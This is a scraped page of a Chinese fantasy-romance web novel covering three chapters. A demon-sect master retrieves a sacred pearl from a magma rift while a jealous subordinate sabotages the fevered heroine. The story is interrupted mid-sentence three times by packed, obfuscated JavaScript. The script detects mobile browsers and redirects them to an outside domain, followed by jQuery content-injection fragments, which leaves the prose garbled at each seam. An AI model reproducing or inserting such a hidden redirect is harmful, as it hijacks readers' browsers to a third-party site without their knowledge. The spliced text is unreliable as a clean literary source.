0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806963|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管阿祉,万一她出了什么事…… 戴苍按住她的肩膀,看着她的眼睛轻声安慰:“二小姐古灵精怪,做事虽然莽撞,但她不会做没有把握的事。” “是啊,我还给了她符纸保命。”江遗仿佛也在安慰自己,“她不会傻到跟那些鲛人来硬的,就算真的被发现,还有一个替身符能保护她。” 话音刚落,他自知失言,烦躁地跺了几下脚。 可他们并不知道阿祉若是遇上的是无乐的话……他的残忍,远比鲛人可怕得多。毕竟他一直想对阿祉下手。 冉云清无法解释,面露担忧。 戴苍静静地看了她一眼,仿佛得知她所想般问道:“是不是无乐门主出现了?” “无乐门主……”江遗听到也是一惊,仅是这个名号便能让这个初出茅庐的少年郎心惊胆战,“你说她遇上了无乐门主……那个魔头……那丫头怎么会惹上他?” 没有人回答他的问题,两人的视线对视相望,在彼此的脸上看到惊疑与猜测。 他靠近她的耳边低声问道:“师妹,你是不是在猜,烛乐就是无乐?” 一记惊雷在她耳边绽开,将她一直以来的猜测讲出来。 烛乐确实有很多古怪之处,先是莫名其妙出现在阿祉身边,无乐门追杀他们的时候,又是烛乐陪在阿祉身边,最后也是他背着阿祉回来,将解药带了回来。 本来想将他留在清云山庄,可他仅用一盘糕点轻轻松松让阿祉改变了主意,在烈海变幻之时,又是他将阿祉支开…… 没有人见过无乐门主的真容,他是少年模样也不奇怪。 但可能吗? 如果烛乐真的是无乐,他的目标是神物才对,怎么可能留给阿祉一条生路,还尽心尽力地照顾她,一路上任劳任怨,这不是无乐门主的性格。 “你说过他没有功力和法术……”她小声反驳着,似乎在说服自己,更重要的是,如果这个事实是真的,那阿祉的处境太过危险。 戴苍沉默了一会,缓缓道:“如果他真的是无乐,说不定用了什么功法隐藏自身的能力,这也不是没有可能的。” 所以系统才找不到他的踪影? “那他为什么不杀掉阿祉?而且他根本没必要隐藏身份,为什么对阿祉那么好,他到底想干什么……” “谁想干什么?”江遗凑过来加入他们的对话。他并没有听到前面的话,只是听到了后半句,随口说道,“谁会对那种蛮不讲理的丫头好,是不是傻?” 他突然不说话了,站在那里呆呆地望着两人,半晌,青涩的脸上突然泛上了一抹可疑的红晕。 “江公子,你脸红什么?” “我得回去。”他一副想通了什么的样子,心中涌上压抑不住的喜悦,“今天若不是冉姑娘救我,我已经化为了血水,无双盟弟子知恩图报,冉姑娘担心冉云祉,那我便回去护她周全。” 两人呆呆地看着江遗快步走远,戴苍摸着下巴,恍然大悟:“不愧是无双盟弟子,天真率性,敢爱敢恨。” “你是说他喜欢上阿祉了?”冉云清疑惑道。 “应该是有了好感吧,毕竟,保命的符纸都给二小姐了。总之他对二小姐没恶意。”戴苍耸耸肩,喃喃道:“年轻人的喜欢很纯粹,这样也好,有江公子在,你我也能安心寻找鲛人泪。” 他往前走了几步,看冉云清还站在原地,旋即用一只手摸摸她的头,一脸明媚,“别担心了,知道这些,我倒想看看,烛乐对此是什么反应呢。” 34.绝境(四) 染血的白衣少年只身站在那琉璃墙面前,不允许任何妖物靠近。他身上还有未愈合的血洞,就连嘴角也挂着未干涸的血迹,看上去像从地狱里滚过一圈似的。 没有人可以将他逼到绝境,因为把他逼到绝境的人都死光了。 他愤怒到了极点,不将眼前的妖物杀死,今日他誓不罢休。 “他不过是困兽犹斗罢了!”鲛人长老看着面前这个少年,认出他是被公主带回来的普通人类,大声给自己壮胆,“只是一个人类,有什么可怕的?” 烛乐自这声音里不徐不慢的抬头,嘴角微扬:“是不是困兽,试试不就知道了?” 锋利的冰晶自他指尖生成,顷刻间已成冰制成的牢笼。 纷纷扬扬地冰凌犹如箭矢,刺向被锁在牢笼中的鲛人。 凄厉哀嚎的声音一圈圈响在他的耳畔,海水连同血液的腥咸气息弥漫开,与深红色的血水几乎融为一体。 既然他们这么喜欢关着别人,那就让他们也尝尝被关起来的滋味。 无乐瞳孔紧缩,似乎觉得削去一只手臂,让他们遭受箭雨的折磨不足以泄恨,有些烦躁地将冰光对准了鲛人的头颅。 期待着那里炸裂的场景。 碍眼的人,消失就好了。 恰在此时,一团烟雾自他面前绽开,身后的琉璃光墙破碎一地,有人跌跌撞撞扑上来,紧接着他像被一团炙热的火焰包裹住,他微微抖了抖,眼中的冰雪像是被这火焰融化般刹那间凝住不动了。 要被发现了。 明明下定了决心就算被发现也没什么,可是真到了这个时候,他心头的涌上来的竟然是慌乱。 他像个犯了错的孩子一般慌乱无助,脸上也显露出茫然失措,只敢用后脑面对她,甚至不敢侧身去迎接她的目光。 他这么狠,这么暴虐……她看到了,她不会喜欢的。 不想看到她见到无乐时冷冰冰的目光。 鲛人公主化成一尾游鱼,在烟雾散开的瞬间背起两人拼命的向外撞去,他不敢动作,任少女紧紧抱着他,全身犹如石塑一般僵硬,对所发生的一切无法做出任何反应。 远处嘈杂哀嚎的声音渐息,才听清女孩子轻声呢喃。 “我要救烛乐……” 她根本不知道自己抱住的是谁,只留下一丝意识在告诉她,要去救他。 绝对绝对不能让那少年在自己面前陨落。 烛乐像失了力气一般挣脱不开,层层叠叠的暖玉色光华从她胸前的灵泉玉中倾泻而出,丝丝缕缕地渗入他的伤口,痛感消散,后背鲜血淋漓的血洞开始愈合。 光华逐渐变得微弱,那抹钻心彻骨的疼痛消失了,他偏过头,身后的女子眼睛紧紧闭合,显然早已失去了神智,只凭着执念完成这个动作后瘫软下来,他赶紧伸手接住了她。 “他还小……不能死……”冉云祉的声音渐渐小了下去,手臂无力地垂落在身侧。 蠢透了!天底下没有比她更蠢的人了! 非要把自己折腾死了才甘心是吗!既然这么想死,那就去死好了! 她一直都是精神百倍的模样,就算在病里那双眼睛也是亮晶晶的,他从来没有见过她如此脆弱的模样。 她的掌心滚烫,嘴唇干裂苍白,像一条失去水分的鱼暴晒在烈日之下,仿佛下一秒就会虚弱到死去。 默默收起自己的杀心。 他舍不得。 他无能受欺的时候,从来没有人这样挂念过他,担心他会不会死。如今他这具身体不会轻易死去了,反而有人来挂念他、同情他了。 “她向灵泉玉借用力量透支了自己的身体,现在这样……不单单接下来长时间灵泉玉无法保护她,怕是这次以后,她的身体会变得格外虚弱。这么高的温度,挺不过来的话,可能……” 鲛人公主摇头叹息一声,她们被困在琉璃阵中,那个女孩子担心烛乐的伤势,硬生生逼着灵泉玉加快汲取她的能量,借助最后留下的烟雾符,逃出生天。 烛乐似乎没有听到她的话,只是静静地看着冉云祉。 人类的高烧极限是多少,他不清楚,但现在的温度绝非是她能承受的。 她根本就是不将自己的命放在眼里,还是不想欠着他? 明明说过了他不会死,为什么还要乱来? 不想她死,她要是死了,还有谁会担心他的死活? 他紧紧的抱着她,轻轻拨开她被冷汗打湿的头发,顺着她的额头,尽量寻找自己最温和的那一抹灵力,注入她的血液里。 原本没有一丝温度的灵力此刻如同治病良药,顺着她的血液流遍全身,将她的高热降下去,虽然不能根治,至少她的脸色没有那么差了。 再度回到客栈的时候,那里没有人了,这样最好,没有人打扰。烛乐将她打横抱到床上去,倒来一碗水给她喝下去。 她的衣服前胸上也粘上了大片的血液,他检查了一下,不是她的,他稍微放了心。 想到刚才情急之下她那副模样,紧紧抱着他生怕他死去的模样,他怔愣片刻,后背上那灼烧的感觉还没有褪去。 重新给她的额头上放好灵力做成的冰贴,留下一抹灵力做了一个阵,慢慢给她降温又不至于冻到她,重要的是隐去她的行踪,不会有人来发现她。 他望着她又发了会呆,渐渐地,冰冷的身体竟也跟着变得温热起来。 不想离开她,就想在这里守着她。但他不能再待下去了,鲛人泪不能让出去。 他再度瞧了她一眼,伸出手掌从她泛红的脸慢慢滑下来,替她将被冷汗打湿的额头碎发耐心的拨到脑后,留恋般地轻声说了一句:“乖乖等我回来。” 她自然不会回应他,只是安静地沉睡着,他站起身后再加一句:“再不听话,我给你拴上铁链,一直带在身边。” 她眉头紧紧皱着,似乎在抗议他的话,却并没有醒来。 推开门,就看到鲛人公主站在房间外面缄默不言,似乎没想到她在这里,不知道她听到了多少,他的脸立刻冷了下来。 “你怎么还在这里?” 她沉声看着他,没想到这个少年如此冷漠的外表下,却对这个女孩异常柔软。 “谢谢你们救我,这一切都是因为我的缘故,我想照顾她。”她惴惴不安地搅动着自己的衣角,却不敢看他。 烛乐动作微顿,突然扭头看向她,眉头皱的很紧,一脸不耐。 她后退了几步:“你……干嘛这样看我?” “既然知道是你的缘故,还不快滚?”他伸手揉了揉自己的眉心,“你和我不过是为了各自的利益而已,没你的事了,只要你不给我们惹麻烦,我懒得管你的死活。” 他关上门,将房门带好,似乎没想到在这样的时候他竟然离开这里,公主问道:“你真的要下深海裂隙去取鲛人泪?” 他没有说话,甚至脚步都没有顿一下。 站在沙滩上与他模样相仿的少年神色复杂地看着他一身鲜血:“门主,您受伤了,等他们拿到鲛人泪我们夺了就是,不需要您亲自动手。” 他赶紧递上崭新的外袍,门主出门最不喜欢沾血了。 烛乐看也不看,语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815859|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很不耐烦:“让你呆三个月谁让你提前出来了?你现在越来越不听我的话了,我现在没功夫惩治你,滚回去。” 阿祉不听话就罢了,如今连他的手下都不听了,是不是他的脾气太好以至于他们都在忤逆自己? 萧蓝闭了嘴,直挺挺的站在原地。 烛乐往烈海的方向走了两步,也不看他,向一排黑衣人吩咐着:“给我看紧了,不许任何妖物靠近,我回来若是看到她少了一根头发,你们知道下场。” 等到他的身影彻底从沙滩上消失了,萧蓝握剑的手紧紧捏起来,脸上浮现出浓浓的不甘。 门主一向冷漠,却为了那个女人受伤,门主做事干净利索,如今却变得游移不定。这短短的时间内,他变了。 他应该是高高在上的王,用目空一切的目光将自己踩在脚下。不该是这样,门主的心里不应该有任何牵挂,也不应该露出柔软的表情来,杀伐果断的凶狠模样才是他,才是自己最崇拜的无乐门主。 不能让他心中的门主消失。他抬头,眸光阴狠,宛若蛇芯。 * 烛乐再次回到烈海之时,猩红的海水淡了些许,原本躲避的妖物探出头,身上沾带的血腥气引来海鲨,寻着气息逼近了他。 他眸光微沉,似是随意地打量了一眼,指尖幽蓝的光束开始凝聚,海水自光芒间旋转凝聚,慢慢聚形、变化,直到形成几条与海鲨大小、模样完全一致的血红与幽蓝相交的海鲨。 水与冰相辅相生,在海底,他的灵力可以得到最大程度的加持运用。 “去,拖住那两个人,不要让他们打扰我。” 他话音落下,冰鲨得到他的指令,径直朝向烛乐指示的方向游去,虽是以冰制成的躯体,但他们的行动却完全却如鱼一般灵活,甚至比真正的海鲨还要灵巧得多。 并未再看他制造出来的生灵一眼,他迎面对上那条围绕着他的海鲨,语气冷静到冷酷,近乎警告:“别惹我。” 海鲨似乎没有听见,在它眼中,少年的血如同魔鬼的毒药一般淬着毒,却又甜美诱惑。 烛乐的手慢慢抚上云霁剑,剑的锋芒初现,手指却停在剑柄上,想到她送上云霁的时候的微笑,他脸上紧绷的神情微松,浮现一个连他自己都没察觉的浅浅笑容。 用不着云霁出手,这样一柄干净的剑,不适合带上脏污的血。 他已经不配得到更多的光亮,决不能让这东西如他一样。 正在这短短的间隙,海鲨已如迅雷般游至他面前,自他头顶笼罩下一片阴影,血盆大口,白森森的尖利牙齿,狠狠将面前瘦小的红白身影一口吞下。 等它的嘴巴合上,那里已经空无一人。 白色衣摆缓缓从他身侧坠下,像一只游曳着尾鳍的鱼般轻盈,只是他的手上不知何时出现了一片以冰化成的冰刃。 海鲨嗅到味道,尾巴一甩调转了一个头,在看清了他手上的东西,竟露出了害怕的情绪,可巨大的身体像被制住一般,原来它周身的海水早已冻上了一层坚固的冰。 “想跑?”他来到它面前,手指一挥,一道光影闪过,海鲨感到一阵刺痛,眼睛只留下两个黑漆漆的空洞。 “我给过你机会别惹我。” 海鲨发出一声撕裂的哀鸣,周身的冰将它整个冰冻起来,咔嚓一声,冰凌刺入身体,它挣扎了一下,再也不动了。 少年不再看身后的巨物,手指的蓝光散去,足见一踏,已是三丈远。 身后围拢过来的妖物看到这一幕,主动绕开了一条路,生怕一个不小心惹他不高兴落到同样的下场。 35.绝境(五) “这里的妖物被什么清理了。”望着一地残肢,两人的疲惫的脸上显露出更加警惕的神色。 每一次下潜都以为是最深处,但事实告诉他们海底之下别有洞天。下行的越深,身体越发难以呼吸。 更糟糕的是,到了现在这个深度,连一丝一毫的光都看不见,唯有一点点深海中的浮游生物亮着莹莹浮光。 他们不知身处何方,亦不知此时是白天还是黑夜。 黑暗并不可怕,可怕的是来自于不远处未知的凶险。 “还好有江公子给的符纸。”冉云清道。 在烈海即将褪去深红血色之时,无数妖物倾巢而出,他们这一路上遇见了不少伺机而动的妖物将之解决。 因着捆妖绳的存在,更多的时候是冉云清拔剑抵挡,戴苍配合她十分默契扔出符纸,从海底洞穴至海底裂隙,一路上也走过来了。 “这里不知有何凶险,师妹,要好好跟紧我。”戴苍动了动手腕,一向干净整洁的衣服上也变得有些破碎,看起来有些狼狈。衣袖之下,金色捆妖绳若隐若现。 突然,轰动的响声自远处而来,那声音由远及近,海水因此受到强力波动,一阵一阵浪潮席卷而来,几乎让人无法维持站稳身形。 在这股冲击下,冉云清身子晃了晃,在即将被海浪掀翻在地上的那一刻,被戴苍护在了怀中。 “师妹小心些。” 这是他们第一次相拥,冉云清有些怔然,两世为人,这还是第一次有人这样护着她。 黑暗中传来鸣声,他们还未站稳,有什么冰冷的东西已经扑了上来,戴苍抱紧怀中之人,飞快避开那处地方。 恍惚只是一瞬,回过神来的冉云清将手心的符纸往远处探了探,光亮照着的地方,赫然是几只用冰制成的海鲨。 “是人为制成的。”两人几乎瞬间便意识到了什么,冉云清甚至得到了系统的提醒:无乐门主行踪离他们很近。 她顿时觉得如坠冰窖。 “他掌握了裂隙所在?”戴苍紧皱眉头,道出了她心中所想。 “血蟾蜍提到鲛人也知道裂隙的位置,而烛乐与阿祉又去了那里……想必他就是从那里知道的。”冉云清已经轻轻推开戴苍的怀抱,手持回雪剑迎击,“所以,烛乐果然是无乐门主。” 冰鲨近了,一头扎进了两人所在的地方,泥沙砸下了一道巨大的深坑。他们身形巨大,速度却不亚于真正的冰鲨,如此可怕的力量与速度,若是正主在这里,无法想象他的力量会有多么恐怖。 两人并肩而立,戮力同心。在这种情况下,她依然冷静,其挥剑的动作丝毫没有受到干扰。 恰在此时,那抹留在冉云清识海中关于裂隙的锚点忽然消失,有人已经进入了裂隙。 “他已经靠近鲛人泪了。”冉云清兀自喃喃说了一句。 戴苍凝眉看她一眼,并未多言,毫无预兆的,捆妖绳竟在这个时刻断掉了。 * 海底不停震颤,烛乐的身形极速下坠,不知数千尺寸之后,视野里出现一截断壁残垣,他足间轻点几步,停留在那片残缺的地方,而这时,轰隆一声巨响,头顶的裂隙竟然合上了。 他被关在了这裂隙深处,这是鲛人泪的最后一道试炼,如果他无法取得,他将被永远困在这里。 若是寻常人见到这种情景大概早已慌了手脚,不知道下一步该做些什么,可烛乐却没什么感觉,对于这样的黑暗,他早已习惯,有时甚至有些战栗的兴奋。 裂隙之中,海水却没有涌进这里,仿佛有一道看不见的屏障阻隔开来,让这两个地方如同另外一个世界。 感觉到四周散发的热量,他高举着从鲛人那里得来的宝物夜明珠。他在鲛人那里不止知道了裂隙所在,更得来了在黑暗中永不熄灭的宝物。 裂隙里发出强烈的光芒,照亮了裂隙中的景象。 一向对任何事都轻而易举的他轻轻皱了皱眉,任谁也没有想到,深海的裂隙之下不是深渊,而是沸腾滚动的岩浆。 流质不断翻涌,并向上蒸腾着,扑面而来的热浪一股股打在他周身,似乎要把他这具肉身融化。 他站在这墙壁伸出的一截凸起处四下观察,四周仅有几个这样或大或小的凸峭足以容纳他站立,但并不能维持多久,如果石块断裂或者失足摔下,那他一定会被裂隙中的岩浆活生生吞噬。 身体受了损伤总归还能恢复,但若是掉到岩浆里身躯不再,便是万劫不复,尸骨无存。 更要命的是,前方裂隙四周的墙壁上盘旋着数以万计的魔物。他们形态各异,甚至辩不出来原来的模样,但无一例外都是枯骨。 此刻他站在这里,那些怪物并没有向他扑来,却时不时传来妖怪窸窸窣窣的低语。 裂隙许久不见光亮,要视力也没什么用处,他猜测这些妖物估计都是瞎子。 失去视力的话,其他感官便敏锐得多。他从墙壁上扣出一颗小石子,食指一弹扔了出去。 妖物听到响动,张开枯骨四肢,从四面八方饿狼般高速俯冲过去,迅速绞作一团。 倘若他冒冒失失地在这些石块上跳跃,那么他一定会被这些东西撕扯,就算他轻功再了得,这么多的妖物,难免在还手的时候身体失衡坠落。 这下可有些难办了。他第一次露出颇为纠结的表情来。 没想到他的灵力在这里全无用处,只要冰晶凝成,很快会被这里的温度烫的融化,没什么攻击力。 看来非受些伤不可了…… 他在原处静静站立了一会,仅是一会,异象陡生。 一条条森森十指如钩的骨爪从岩浆中伸展开来,指节以诡异的模样弯曲,仿佛在虚空抓着什么,疯狂扭曲伴着绝望的哀嚎声响彻在裂隙中。 “下来陪我们吧……” “我好想出去啊,我不要留在这里……” 这声响震颤着周边的亡骨妖物,一时之间,妖物漫无目的地横飞冲撞,与白骨爪子绞作一团,拼个你死我活。几乎不留一个死角,有的甚至撞到了他的衣服上。 “呵。”烛乐面目表情地盯着这一幕,轻嗤一声。 这些枯骨手臂的主人似乎就是那些来到裂隙中死去的人,怨念极深,肉.体吞噬化为恶灵,阻碍着到来的人陪同他们一起埋葬在这暗无天日的海底里。 如果灵泉玉在这里,怕是这些妖物都不能接近他,凭着灵泉玉的保护他便能到达鲛人泪的所在。 不得不行动了,那些怪物像疯了一样,已经向他这边探来,他一边驱动云霁剑,御剑穿行,从岩浆上空穿过,一手则挥动着灵力,与那些妖物纠缠。 只要他与熔浆中的手臂保持一段距离,那么他就不会被那些手臂拽下去,只要提防四面而来的妖物稳住身形即可。 衣服上又被拽出残缺的伤口,他不管不顾,手中抛出石子击落空中的妖物,勉强维持住身影,眼里只有鲛人泪。 终于迈上最后一处石阶,鲛人泪犹如其名,本身是一颗犹如水滴般的形状镶嵌在盒中,身后妖物紧追不散,他没有任何犹豫地拿起鲛人泪。 可是当他的手指一碰到它,四周景象骤然变化,他嘴唇微张,像石塑般呆在原地,再也无法动作了。 眼前是无数个噩梦里的片段,一幕幕回放他的曾经,他早已麻木,甚至有些想笑。 “就这点招数吗?” 不过是幻觉而已,对他没用。 大概是看他没什么反应,场景开始变幻,原本以为它的考验只是这样,但当他看到中间的人影时,原本匍匐在地受到欺辱的人变成了冉云祉。 她被那些黑影强迫着跪在地上,粉白的衣衫尽是泥污,一头柔顺的黑发散落下来混着泥水不再明亮。 刀剑破开细腻的皮肤,涌出大片的鲜血。他神魂微颤,暗想只是幻觉,他才不会被欺骗。 幻觉中的冉云祉望向他,声音因痛苦而变得有些凄厉:“烛乐,我好疼……好疼啊……” 曾经发生在他身上的一切,皆重现在她身上,让他心底的恨意被勾了出来。 手里凭空多了一样东西,是云霁剑。就算是幻觉,也不会让那些人活着,他挥剑向那些黑影狠狠刺去。 黑影一瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831960|150747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消散,他回过神,等他看清模糊的一切,竟是自己持剑刺穿了她的胸膛。 他拼命的眨了眨眼睛,心底一慌,退后了几步。 “幻觉……这都是幻觉。”她还好好的活着,自己设了阵保护她,她不会有事。 可在这个时候,那个有他灵力的阵法消失了,有人把他设下的阵破掉了。他紧紧的握住手腕,却感觉不到那边一丝灵力的气息。 失去了他的灵力保护,那灼热的高烧会把她烧死的。 想到她会死去,暗无天日的世界里,又只剩他一个人,手指无端抖了一下。 “你杀了我。”面前的冉云祉已是他离开时濒死的虚弱模样,却在冲他微笑,伸手捧起了他的脸,眼底的憎恶刺痛了他的眼。 “我没有杀你。”他仿佛极力想证明什么似的,大声辩驳,“你是假的。” 她还是在笑,反问他:“但你在害怕,不是吗?” 场景又在变幻。 第一次相遇的时候,在她醒来的时候毫不犹豫又给了她一刀的是他。 婴灵的阵中,是他抚上了那脖颈,亲手将那纤细的脖颈扭断。 还有她与自己对赌的那一晚,是他眼睁睁看着那女子在手臂上划开一刀又一刀,最终,那么多的血在地上流成消抹不掉的血块…… 断空长戟向他们刺来的时候,他冷笑着把她拽到身前,让她为自己挡下,任凭面前的生命消逝。 这才是他这个冷血无情的魔头会做出的事情。 “这些都是假的,我没有做过这一切!” 原本麻木的心起了一丝丝微波,他的身体开始剧烈的颤抖,却不敢直视她的眼睛。 “或许,这一切已经发生过了。”她的声音再也不复以往的柔声细语,而是一丝丝嘲弄,直视着不远处的少年。 视线里看到一副未曾见过的场景。火红嫁衣,红的那么刺目,怀里人的温度渐渐散去,变得比他还要冷。他萧瑟的背影跪在那里,神情绝望又哀恸。 他兀自捂住了胸口,心头蓦地一痛。 明明只是幻觉,但这股快要喘不过来的痛楚,为什么清晰又明显?就好像是……在某个时空早已发生过千百次。 她会死?她为什么会死?她身上的嫁衣,她要嫁给谁? 是我……杀了她? 他的神智陷入一片昏茫,眼前的景象与他的记忆纠成一团,他拼命的想挣脱,可是她的话语却如同鬼魅一般越追越紧。 “你就是一个养不熟的白眼狼。难怪没有人喜欢你,我对你这么好,你却只想着杀掉我。” “难怪他们会想把你毁了,你活该被这样对待。” “你不要忘记了,是你抛却了过往的一切。你以为你换上这副干净的皮囊,就会得到一丁点温暖?问问你自己,双手满是鲜血,不觉得自己肮脏虚伪吗?” “别说了!”他捂住耳朵不想去听,大口喘着气,手脚都失去了力气般跪坐在地上。 “你舍不得杀我,难道不是因为没了我,没有人对你这样好?你贪恋这份好,所以才来欺骗我。” 他的阴暗扭曲心思被戳中,再也无言辩驳。 “我根本不喜欢你这样的人,准备来说,是厌恶,恨不得你去死。”一阵狞笑传来,却不是她的。 一直以来假意维持的平衡,彻底崩断了。 在他陷入幻境的这段时间,那些妖物一直在撕扯着他的身躯,森森白骨已经缠上了他的脚踝,将他一把拉入了岩浆里。 源源不断的热浪让他的思绪回神,眼前的景物消散,他已坠入了熔浆。目光所及之处全是沸腾的岩浆与鬼影。 记不清多少年前,这股仿佛将灵魂灼烧般的火热仍历历在目。 要死了吧?他苦涩地一笑。 可是没有人会来救他了。她也不会来的。 算计了一世,最终还是输给了幻觉,最终落到了如此下场。 或许他从一开始就不该怀有期待,但他却卑劣地想用虚假的面目换来她一点点的目光。 一颗心被别人捏在手里,他也就离死不远了。 36.绝境(六) 明月自海面上缓缓升起,悬挂于漆黑的天际,月色朦胧的光晕在客栈外洒下斑驳细碎的的寒霜,照得客栈外的景色无端萧索荒凉。 是中秋团圆夜,沿海而生的人类会回到家中与亲人相守,男女老少成群结队在院中欣赏月光,店里孤单零星的客人只她一个。 伙计端上来一碟月饼,送至这唯一的客人面前:“瞧着姑娘是生面孔,今日是中秋夜,来店里的客人都会送上一份月饼。这份月饼是送你的,寓意团团圆圆,愿你与牵挂之人一生圆满。” 坐在座位的俏丽女子衣着看起来华贵,发丝犹如海藻一般柔顺美丽,她原本正望着圆月发呆,见伙计送下月饼便走了,嘴里默念着团团圆圆几个字,苦笑了一声,随手捡起一个月饼放到嘴里品尝。 表皮色泽金黄亮丽,馅料是莲蓉陷做的,递到唇边之时,清淡与甜蜜在口腔中交织,像她第一次爱上那人时的感觉。 想到他时,她的双眼便有些黯淡,心头便涌上一抹悲痛,将视线投到不远处的海面上。 月光倾泻在海面上,海边泛起的微波将月色拉长,又微微扭曲,过往的时光重合,将记忆又送回她的脑海之中。 她的所谓亲人只将她作为生育工具,这么多年来,她听从着那些人的教导,所见所受全都是他们所言,认为那就是世界的全部,以及自己存在的意义。 与他的相遇只是偶然,那时她不懂情爱,只当他是普普通通的漂亮男子,可他却根本不受她妖力的魅惑。 “我们族类认定一个伴侣就是一生,你若是喜欢我,那就只能喜欢我,如果你做不到,那就不要来招惹我。”身穿绛紫色长袍的男子对她说话。 她不懂喜欢是什么意思,但长老说过,鲛人看上的男人,无论如何都要带回来,她第一次想要带一个男人回去,绝不甘心就此失败。 “你什么时候正视自己的心?你总说你肩负的是鲛人一族的未来,可是你呢,你的未来呢?” “一个族类的未来是全族的努力,而不是一人苦苦维系,为什么要用女性的自我牺牲去成就?醒醒吧,那不是奉献不是大爱,那是奴役。” “你什么时候才知道你过得不好?如果你想离开,我可以随时带你走,这个世界不止有海底那么大,跳出来,天地很广阔。” 可她的生命里却不再有他了。 此后,她再也没有牵挂之人。偌大的鲛人族群,那么多一母所生的兄弟,只有她形单影只如同局外人。 所以,她才不期待什么团圆。 抬头时,却见一白衣少年推门而来,淡漠眼神随意地瞥了她两眼,径直向楼上走去。 “你怎么这么快就回来了?”她神色不变,出声询问,然而那人却默然不语,连脚步都没有顿一下。 虽然他那张脸上始终没什么表情,但她就是觉得,这个人和先前有什么不一样了。 但总归不是什么危险人物,她将最后一口月饼吃完,人类的食物总是这样精巧,那就离开看看吧,看看他对自己描绘的世界。 她正要站起身,耳畔又是一声推门声,她漫不经心地抬头看一眼,这一眼像生了根般定在了原地,再也不能动了。 身形高大的紫袍男子进了客栈大堂,径直走向一张方桌,熟练的要了上好的庐山云雾,几碟小菜,等待的间隙察觉到她直勾勾的视线,抬头时与她四目相对。 这一眼,似是将过往所有因果定格,她看他的眼神有些痴了。 许是她眼中的深情太过炙热,九尾狐眼中闪过片刻的茫然,而后他向着她轻轻地招了招手。 她感觉自己的身体都不是自己的了,如梦一般踉踉跄跄走到他身边,一瞬不瞬地盯着他从头到脚地看过去。 他还是那副风流俊秀的相貌,不知迷倒多少妙龄女子,一头青丝披在身后用簪子随意挽起,一如当年。 此刻他正用一双多情的狐狸眼专注地盯着她,眉眼清冷又勾魂,好像是第一次初见,又好像透过她的表相把她深深记在脑海中去。 “姑娘,我好像在哪里见过你。”他抬着俏眉看她,回忆里他的音容相貌再度变得鲜活生动,美得夺人心魄。当年他就是用这样的笑容走进了她的心,让本应该是工具的她开始有了自己的期待和走出囹圄的勇气。 原以为缘分已断,此生再也见不到他了。 “岑鱼……”她语气哽咽,握住他的手慢慢贴到自己的脸上,“我是岑鱼,阿尧,你还记不记得我?” 话一出口,已是泪如雨下。 这场几乎不可能重逢,她等待了太久,又害怕是那海上倒影的明月是一场虚幻的美梦,怕期待成空。 客栈内静悄悄的,连风声都静止了,九尾狐辛尧没有说话,眸色微闪,似乎在努力回忆着她。 许久后,他摇了摇头,从怀里摸出一只海螺,轻轻放到她的手心。 岑鱼破涕而笑,抚摸着海螺熟悉的纹路,已经过去这么多年,表面的青痕已经褪去原本的颜色,已经有些泛白了,他还好好的保存着。 “寄音螺,原来你还留着这个……” 寄音螺存放着她的歌声,可保留声音长至千百年不散,就算他们有一天消失在这个世界,寄音螺也会为他们记得。 那双贴在她脸上的双手动起来,辛尧为她拭去眼角的泪,和过往很多时候一样。 “我遗失了一段很重要的记忆。”他说,“我听过这海螺里的歌声,每次听我都会觉得温暖和心痛,我想,我似乎爱过一个人。” 辛尧将她的脸擦干净,凝望着这张陌生又熟悉的脸,很认真地问道:“我等的、我爱的那个人,是你吗?” * 白色身影推开房门,眯着眼睛打量着屋内。 这间屋子里的陈设和别间并无二致,鼻尖却充斥着一抹血腥之气。他吸了吸鼻子,露出一个复杂的表情来。 “是门主的血啊。” 只是那副复杂的表情并没有持续太久,很快他的嘴角扯下,那双纯善的脸上流露出一抹不容忽视的杀意。 大步走到床边,复杂的阵法在他面前如同虚设,并没有阻碍,感受到里面有人设下的掩人耳目的阵法,闭上眼睛,口中念着秘咒,很快,被阵法掩藏的身影在床前显露出来。 他目光怨毒地盯着床上昏迷的女子,额头上的青筋因愤怒而一跳一跳。 “门主竟然消耗自己的灵力吊着你的命,留下这个,在取鲛人泪时还要分神留意你这边的情况,你才不值得门主为你犯险。”他像是在对她说话,又像是在自言自语。 从身侧取出一把匕首,顷刻间移到冉云祉的胸口。 不行,这样的话,门主回来会知道是他做的。 那就让门主误以为是他的灵力抵挡不住反噬好了。 他把贴在她额头的冰贴揭下来扔到地上,破坏掉灵力的联系,做这些事情的时候,他的脸上一直都是扭曲的恨意。 失去了烛乐灵力的供给,冉云祉身上的高烧再也压不住,原本苍白毫无血色的脸上瞬间变得绛红,眉头难受的蹙起来,浑身都在发抖。 就这样任由她烧下去,很快她的身体器官将迅速的衰竭,就算命大活下来也会像个废物一般。 “门主啊,你做事向来缜密,万无一失,可你大概不知道这些东西防不住我吧。”他轻声说着,很快又阴恻恻地笑起来。 “她死后,我把灵泉玉送给你好不好,门主?” 他就这样抱着双肩欣赏冉云祉在高烧里痛苦挣扎的模样,嘴角笑容危险而残忍。 